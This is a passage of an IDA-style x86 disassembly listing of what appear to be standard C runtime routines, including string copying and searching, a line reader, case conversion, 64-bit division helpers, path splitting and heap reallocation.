loc_418E60: ; CODE XREF: sub_418DE0+75j
; sub_418DE0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_418E9A
mov [edi], dl
inc edi
dec ecx
jz short loc_418E90
test esi, 3
jnz short loc_418E60
mov ebx, ecx
shr ecx, 2
jnz short loc_418EAC
loc_418E7C: ; CODE XREF: sub_418DE0+7Ej
; sub_418DE0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_418E90
loc_418E83: ; CODE XREF: sub_418DE0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_418E92
dec ecx
jnz short loc_418E83
loc_418E90: ; CODE XREF: sub_418DE0+8Bj
; sub_418DE0+A1j
mov [edi], cl
loc_418E92: ; CODE XREF: sub_418DE0+ABj
pop ebx
pop esi
loc_418E94: ; CODE XREF: sub_418DE0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_418E9A: ; CODE XREF: sub_418DE0+85j
; sub_418DE0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418EA4: ; CODE XREF: sub_418DE0+E4j
; sub_418DE0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_418E7C
loc_418EAC: ; CODE XREF: sub_418DE0+7Cj
; sub_418DE0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_418EA4
test dl, dl
jz short loc_418E9A
test dh, dh
jz short loc_418EF8
test edx, 0FF0000h
jz short loc_418EE8
test edx, 0FF000000h
jnz short loc_418EA4
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418EE8: ; CODE XREF: sub_418DE0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418EF8: ; CODE XREF: sub_418DE0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_418DE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418F10 proc near ; CODE XREF: sub_407252+2A2p
; sub_40EE72+31DBp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_418F31
xor eax, eax
jmp short loc_418F33
; ---------------------------------------------------------------------------
loc_418F31: ; CODE XREF: sub_418F10+1Bj
mov eax, edi
loc_418F33: ; CODE XREF: sub_418F10+1Fj
cld
pop edi
leave
retn
sub_418F10 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_418F50
loc_418F40: ; CODE XREF: sub_418F50+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_418F50
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418F50 proc near ; CODE XREF: sub_408C26+DBp
; sub_40DAF0+32p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_418F56: ; CODE XREF: sub_417880+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_418F7B
loc_418F68: ; CODE XREF: sub_418F50+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_418F40
test cl, cl
jz short loc_418FC4
test edx, 3
jnz short loc_418F68
loc_418F7B: ; CODE XREF: sub_418F50+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_418F86: ; CODE XREF: sub_418F50+61j
; sub_418F50+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_418FC8
and eax, 81010100h
jz short loc_418F86
and eax, 1010100h
jnz short loc_418FC2
and esi, 80000000h
jnz short loc_418F86
loc_418FC2: ; CODE XREF: sub_418F50+68j
; sub_418F50+81j ...
pop esi
pop edi
loc_418FC4: ; CODE XREF: sub_418F50+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_418FC8: ; CODE XREF: sub_418F50+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_419005
test al, al
jz short loc_418FC2
cmp ah, bl
jz short loc_418FFE
test ah, ah
jz short loc_418FC2
shr eax, 10h
cmp al, bl
jz short loc_418FF7
test al, al
jz short loc_418FC2
cmp ah, bl
jz short loc_418FF0
test ah, ah
jz short loc_418FC2
jmp short loc_418F86
; ---------------------------------------------------------------------------
loc_418FF0: ; CODE XREF: sub_418F50+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418FF7: ; CODE XREF: sub_418F50+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418FFE: ; CODE XREF: sub_418F50+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419005: ; CODE XREF: sub_418F50+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_418F50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41900C proc near ; CODE XREF: sub_408C26+AFp
; sub_40EE72+47F2p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_419020
xor eax, eax
jmp short loc_419056
; ---------------------------------------------------------------------------
loc_419020: ; CODE XREF: sub_41900C+Ej
dec [ebp+arg_4]
push esi
jz short loc_419050
mov esi, [ebp+arg_8]
loc_419029: ; CODE XREF: sub_41900C+42j
dec dword ptr [esi+4]
js short loc_419038
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41903F
; ---------------------------------------------------------------------------
loc_419038: ; CODE XREF: sub_41900C+20j
push esi
call sub_41E248
pop ecx
loc_41903F: ; CODE XREF: sub_41900C+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41905A
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_419050
dec [ebp+arg_4]
jnz short loc_419029
loc_419050: ; CODE XREF: sub_41900C+18j
; sub_41900C+3Dj ...
and byte ptr [edi], 0
loc_419053: ; CODE XREF: sub_41900C+55j
mov eax, ebx
pop esi
loc_419056: ; CODE XREF: sub_41900C+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41905A: ; CODE XREF: sub_41900C+36j
cmp edi, [ebp+arg_0]
jnz short loc_419050
xor ebx, ebx
jmp short loc_419053
sub_41900C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419063 proc near ; CODE XREF: sub_409209+BFp
; sub_409209+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4CDA48
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_419097
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_4190FE
loc_41907F: ; CODE XREF: sub_419063+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_419090
cmp cl, 7Ah
jg short loc_419090
sub cl, 20h
mov [edx], cl
loc_419090: ; CODE XREF: sub_419063+21j
; sub_419063+26j
inc edx
cmp [edx], bl
jnz short loc_41907F
jmp short loc_4190FE
; ---------------------------------------------------------------------------
loc_419097: ; CODE XREF: sub_419063+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_41E709
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_4190F0
push edi
call sub_417B89
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_4190F0
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4CDA48
call sub_41E709
add esp, 20h
test eax, eax
jz short loc_4190F0
push [ebp+var_4]
push [ebp+arg_0]
call sub_4179C0
pop ecx
pop ecx
loc_4190F0: ; CODE XREF: sub_419063+53j
; sub_419063+61j ...
push [ebp+var_4]
call sub_417C3B
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_4190FE: ; CODE XREF: sub_419063+1Aj
; sub_419063+32j
pop ebx
leave
retn
sub_419063 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419101 proc near ; CODE XREF: sub_40A951+6p
; sub_40A96F+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4CDA48, 0
push ebx
push esi
push edi
jnz short loc_41912E
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_4191C7
cmp eax, 5Ah
jg loc_4191C7
add eax, 20h
jmp loc_4191C7
; ---------------------------------------------------------------------------
loc_41912E: ; CODE XREF: sub_419101+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_419162
cmp dword_433E7C, esi
jle short loc_419150
push esi
push ebx
call sub_41A642
pop ecx
pop ecx
jmp short loc_41915A
; ---------------------------------------------------------------------------
loc_419150: ; CODE XREF: sub_419101+42j
mov eax, off_433C70
mov al, [eax+ebx*2]
and eax, esi
loc_41915A: ; CODE XREF: sub_419101+4Dj
test eax, eax
jnz short loc_419162
loc_41915E: ; CODE XREF: sub_419101+ADj
mov eax, ebx
jmp short loc_4191C7
; ---------------------------------------------------------------------------
loc_419162: ; CODE XREF: sub_419101+3Aj
; sub_419101+5Bj
mov edx, off_433C70
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_419186
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41918F
; ---------------------------------------------------------------------------
loc_419186: ; CODE XREF: sub_419101+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41918F: ; CODE XREF: sub_419101+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4CDA48
call sub_41E709
add esp, 20h
test eax, eax
jz short loc_41915E
cmp eax, esi
jnz short loc_4191BA
movzx eax, [ebp+var_4]
jmp short loc_4191C7
; ---------------------------------------------------------------------------
loc_4191BA: ; CODE XREF: sub_419101+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4191C7: ; CODE XREF: sub_419101+16j
; sub_419101+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_419101 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4191D0 proc near ; CODE XREF: sub_40B822+3Dp
; sub_40D01A+2Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_4191F1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_419241
; ---------------------------------------------------------------------------
loc_4191F1: ; CODE XREF: sub_4191D0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_4191FF: ; CODE XREF: sub_4191D0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4191FF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41922A
cmp edx, [esp+4+arg_4]
ja short loc_41922A
jb short loc_419232
cmp eax, [esp+4+arg_0]
jbe short loc_419232
loc_41922A: ; CODE XREF: sub_4191D0+4Aj
; sub_4191D0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_419232: ; CODE XREF: sub_4191D0+52j
; sub_4191D0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_419241: ; CODE XREF: sub_4191D0+1Fj
pop ebx
retn 10h
sub_4191D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419250 proc near ; CODE XREF: sub_40B822+24p
; sub_40D01A+3Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_419272
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_4192B3
; ---------------------------------------------------------------------------
loc_419272: ; CODE XREF: sub_419250+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_419280: ; CODE XREF: sub_419250+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_419280
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_4192AE
cmp edx, [esp+8+arg_4]
ja short loc_4192AE
jb short loc_4192AF
cmp eax, [esp+8+arg_0]
jbe short loc_4192AF
loc_4192AE: ; CODE XREF: sub_419250+4Ej
; sub_419250+54j
dec esi
loc_4192AF: ; CODE XREF: sub_419250+56j
; sub_419250+5Cj
xor edx, edx
mov eax, esi
loc_4192B3: ; CODE XREF: sub_419250+20j
pop esi
pop ebx
retn 10h
sub_419250 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192B8 proc near ; CODE XREF: sub_40B8D8+1E3p
; ___:0040E7A0p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_417AB0
cmp eax, 1
pop ecx
jb short loc_4192F3
cmp byte ptr [ebx+1], 3Ah
jnz short loc_4192F3
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_4192EF
push 2
push ebx
push esi
call sub_41ED0D
add esp, 0Ch
and byte ptr [esi+2], 0
loc_4192EF: ; CODE XREF: sub_4192B8+25j
inc ebx
inc ebx
jmp short loc_4192FD
; ---------------------------------------------------------------------------
loc_4192F3: ; CODE XREF: sub_4192B8+18j
; sub_4192B8+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_4192FD
and byte ptr [eax], 0
loc_4192FD: ; CODE XREF: sub_4192B8+39j
; sub_4192B8+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_419375
loc_419310: ; CODE XREF: sub_4192B8+87j
mov cl, [eax]
movzx edx, cl
test byte_4CEF01[edx], 4
jz short loc_419321
inc eax
jmp short loc_41933B
; ---------------------------------------------------------------------------
loc_419321: ; CODE XREF: sub_4192B8+64j
cmp cl, 2Fh
jz short loc_419335
cmp cl, 5Ch
jz short loc_419335
cmp cl, 2Eh
jnz short loc_41933B
mov [ebp+var_4], eax
jmp short loc_41933B
; ---------------------------------------------------------------------------
loc_419335: ; CODE XREF: sub_4192B8+6Cj
; sub_4192B8+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41933B: ; CODE XREF: sub_4192B8+67j
; sub_4192B8+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_419310
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_419375
cmp [ebp+arg_8], 0
jz short loc_419370
sub edi, ebx
cmp edi, esi
jb short loc_419359
mov edi, esi
loc_419359: ; CODE XREF: sub_4192B8+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_41ED0D
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_419370: ; CODE XREF: sub_4192B8+97j
mov ebx, [ebp+arg_4]
jmp short loc_41937F
; ---------------------------------------------------------------------------
loc_419375: ; CODE XREF: sub_4192B8+56j
; sub_4192B8+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41937F
and byte ptr [ecx], 0
loc_41937F: ; CODE XREF: sub_4192B8+BBj
; sub_4192B8+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_4193D2
cmp edi, ebx
jb short loc_4193D2
cmp [ebp+arg_C], 0
jz short loc_4193AF
sub edi, ebx
cmp edi, esi
jb short loc_419398
mov edi, esi
loc_419398: ; CODE XREF: sub_4192B8+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_41ED0D
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_4193AF: ; CODE XREF: sub_4192B8+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_4193FA
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_4193BF
mov esi, eax
loc_4193BF: ; CODE XREF: sub_4192B8+103j
push esi
push [ebp+var_4]
push edi
call sub_41ED0D
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_4193FA
; ---------------------------------------------------------------------------
loc_4193D2: ; CODE XREF: sub_4192B8+CCj
; sub_4192B8+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_4193F0
sub eax, ebx
cmp eax, esi
jnb short loc_4193E1
mov esi, eax
loc_4193E1: ; CODE XREF: sub_4192B8+125j
push esi
push ebx
push edi
call sub_41ED0D
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_4193F0: ; CODE XREF: sub_4192B8+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_4193FA
and byte ptr [eax], 0
loc_4193FA: ; CODE XREF: sub_4192B8+FCj
; sub_4192B8+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4192B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193FF proc near ; CODE XREF: sub_40BFE1+19p
; sub_40D633+1Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_419E38
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41943D
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41944A
; ---------------------------------------------------------------------------
loc_41943D: ; CODE XREF: sub_4193FF+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_419D23
pop ecx
pop ecx
loc_41944A: ; CODE XREF: sub_4193FF+3Cj
mov eax, esi
pop esi
leave
retn
sub_4193FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41944F proc near ; CODE XREF: sub_40C259+2Ep
; sub_418603+35p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41946A
push [ebp+arg_4]
call sub_417B89
pop ecx
jmp loc_4196EA
; ---------------------------------------------------------------------------
loc_41946A: ; CODE XREF: sub_41944F+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41947F
push [ebp+arg_0]
call sub_417C3B
pop ecx
jmp loc_4196E8
; ---------------------------------------------------------------------------
loc_41947F: ; CODE XREF: sub_41944F+20j
mov eax, dword_4CF028
cmp eax, 3
jnz loc_41958F
loc_41948D: ; CODE XREF: sub_41944F+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41956B
push [ebp+arg_0]
call sub_41AD89
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_419546
cmp esi, dword_4CF020
ja short loc_4194FF
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B592
add esp, 0Ch
test eax, eax
jnz short loc_4194FB
push esi
call sub_41B0DD
mov edi, eax
pop ecx
test edi, edi
jz short loc_4194FF
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_4194DF
mov eax, esi
loc_4194DF: ; CODE XREF: sub_41944F+8Cj
push eax
push ebx
push edi
call sub_417390
push ebx
call sub_41AD89
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41ADB4
add esp, 18h
loc_4194FB: ; CODE XREF: sub_41944F+74j
test edi, edi
jnz short loc_419542
loc_4194FF: ; CODE XREF: sub_41944F+62j
; sub_41944F+81j
test esi, esi
jnz short loc_419506
push 1
pop esi
loc_419506: ; CODE XREF: sub_41944F+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4CF024
nop
call near ptr 2710000h
mov edi, eax
test edi, edi
jz short loc_419542
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41952E
mov eax, esi
loc_41952E: ; CODE XREF: sub_41944F+DBj
push eax
push ecx
push edi
call sub_417390
push [ebp+arg_0]
push ebx
call sub_41ADB4
add esp, 14h
loc_419542: ; CODE XREF: sub_41944F+AEj
; sub_41944F+D0j
test ebx, ebx
jnz short loc_419567
loc_419546: ; CODE XREF: sub_41944F+56j
test esi, esi
jnz short loc_41954D
push 1
pop esi
loc_41954D: ; CODE XREF: sub_41944F+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4CF024
nop
call near ptr 2830000h
mov edi, eax
loc_419567: ; CODE XREF: sub_41944F+F5j
test edi, edi
jnz short loc_419588
loc_41956B: ; CODE XREF: sub_41944F+43j
cmp dword_4CDA14, 0
jz short loc_419588
push esi
call sub_41AB54
test eax, eax
pop ecx
jnz loc_41948D
jmp loc_4196E8
; ---------------------------------------------------------------------------
loc_419588: ; CODE XREF: sub_41944F+11Aj
; sub_41944F+123j ...
mov eax, edi
jmp loc_4196EA
; ---------------------------------------------------------------------------
loc_41958F: ; CODE XREF: sub_41944F+38j
cmp eax, 2
jnz loc_4196AA
cmp esi, 0FFFFFFE0h
ja short loc_4195AC
test esi, esi
jbe short loc_4195A9
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_4195AC
; ---------------------------------------------------------------------------
loc_4195A9: ; CODE XREF: sub_41944F+150j
push 10h
pop esi
loc_4195AC: ; CODE XREF: sub_41944F+14Cj
; sub_41944F+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41968C
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41BAE4
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_419670
cmp esi, dword_435EB4
jnb short loc_419634
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41BEAC
add esp, 10h
test eax, eax
jz short loc_4195FA
mov edi, [ebp+arg_0]
jmp short loc_41962C
; ---------------------------------------------------------------------------
loc_4195FA: ; CODE XREF: sub_41944F+1A4j
push edi
call sub_41BB80
mov edi, eax
pop ecx
test edi, edi
jz short loc_419634
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_419613
mov eax, esi
loc_419613: ; CODE XREF: sub_41944F+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_417390
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41BB3B
add esp, 18h
loc_41962C: ; CODE XREF: sub_41944F+1A9j
test edi, edi
jnz loc_419588
loc_419634: ; CODE XREF: sub_41944F+18Bj
; sub_41944F+1B6j
push esi
push 0
push dword_4CF024
nop
call near ptr 2710000h
mov edi, eax
test edi, edi
jz short loc_41968C
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_419655
mov eax, esi
loc_419655: ; CODE XREF: sub_41944F+202j
push eax
push [ebp+arg_0]
push edi
call sub_417390
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41BB3B
add esp, 18h
jmp short loc_419684
; ---------------------------------------------------------------------------
loc_419670: ; CODE XREF: sub_41944F+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4CF024
nop
call near ptr 2830000h
mov edi, eax
loc_419684: ; CODE XREF: sub_41944F+21Fj
test edi, edi
jnz loc_419588
loc_41968C: ; CODE XREF: sub_41944F+162j
; sub_41944F+1F8j
cmp dword_4CDA14, 0
jz loc_419588
push esi
call sub_41AB54
test eax, eax
pop ecx
jnz loc_4195AC
jmp short loc_4196E8
; ---------------------------------------------------------------------------
loc_4196AA: ; CODE XREF: sub_41944F+143j
; sub_41944F+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_4196D4
test esi, esi
jnz short loc_4196B8
push 1
pop esi
loc_4196B8: ; CODE XREF: sub_41944F+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4CF024
nop
call near ptr 2830000h
test eax, eax
jnz short loc_4196EA
loc_4196D4: ; CODE XREF: sub_41944F+260j
cmp dword_4CDA14, 0
jz short loc_4196EA
push esi
call sub_41AB54
test eax, eax
pop ecx
jnz short loc_4196AA
loc_4196E8: ; CODE XREF: sub_41944F+2Bj
; sub_41944F+134j ...
xor eax, eax
loc_4196EA: ; CODE XREF: sub_41944F+16j
; sub_41944F+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41944F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196EF proc near ; CODE XREF: sub_40C8B4+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_419713
xor eax, eax
jmp loc_4197E0
; ---------------------------------------------------------------------------
loc_419713: ; CODE XREF: sub_4196EF+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_419726
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41972D
; ---------------------------------------------------------------------------
loc_419726: ; CODE XREF: sub_4196EF+2Dj
mov [ebp+arg_C], 1000h
loc_41972D: ; CODE XREF: sub_4196EF+35j
; sub_4196EF+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_419761
mov eax, [esi+4]
test eax, eax
jz short loc_419761
cmp ebx, eax
mov edi, ebx
jb short loc_419747
mov edi, eax
loc_419747: ; CODE XREF: sub_4196EF+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_417390
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_4197A7
; ---------------------------------------------------------------------------
loc_419761: ; CODE XREF: sub_4196EF+47j
; sub_4196EF+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_4197AC
test ecx, ecx
jz short loc_419775
push esi
call sub_41A7D0
test eax, eax
pop ecx
jnz short loc_4197EE
loc_419775: ; CODE XREF: sub_4196EF+79j
cmp [ebp+arg_C], 0
jz short loc_419788
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41978A
; ---------------------------------------------------------------------------
loc_419788: ; CODE XREF: sub_4196EF+8Aj
mov edi, ebx
loc_41978A: ; CODE XREF: sub_4196EF+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_41ED97
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_4197E5
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_4197E5
loc_4197A7: ; CODE XREF: sub_4196EF+70j
mov edi, [ebp+var_4]
jmp short loc_4197D5
; ---------------------------------------------------------------------------
loc_4197AC: ; CODE XREF: sub_4196EF+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_419D23
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4197EE
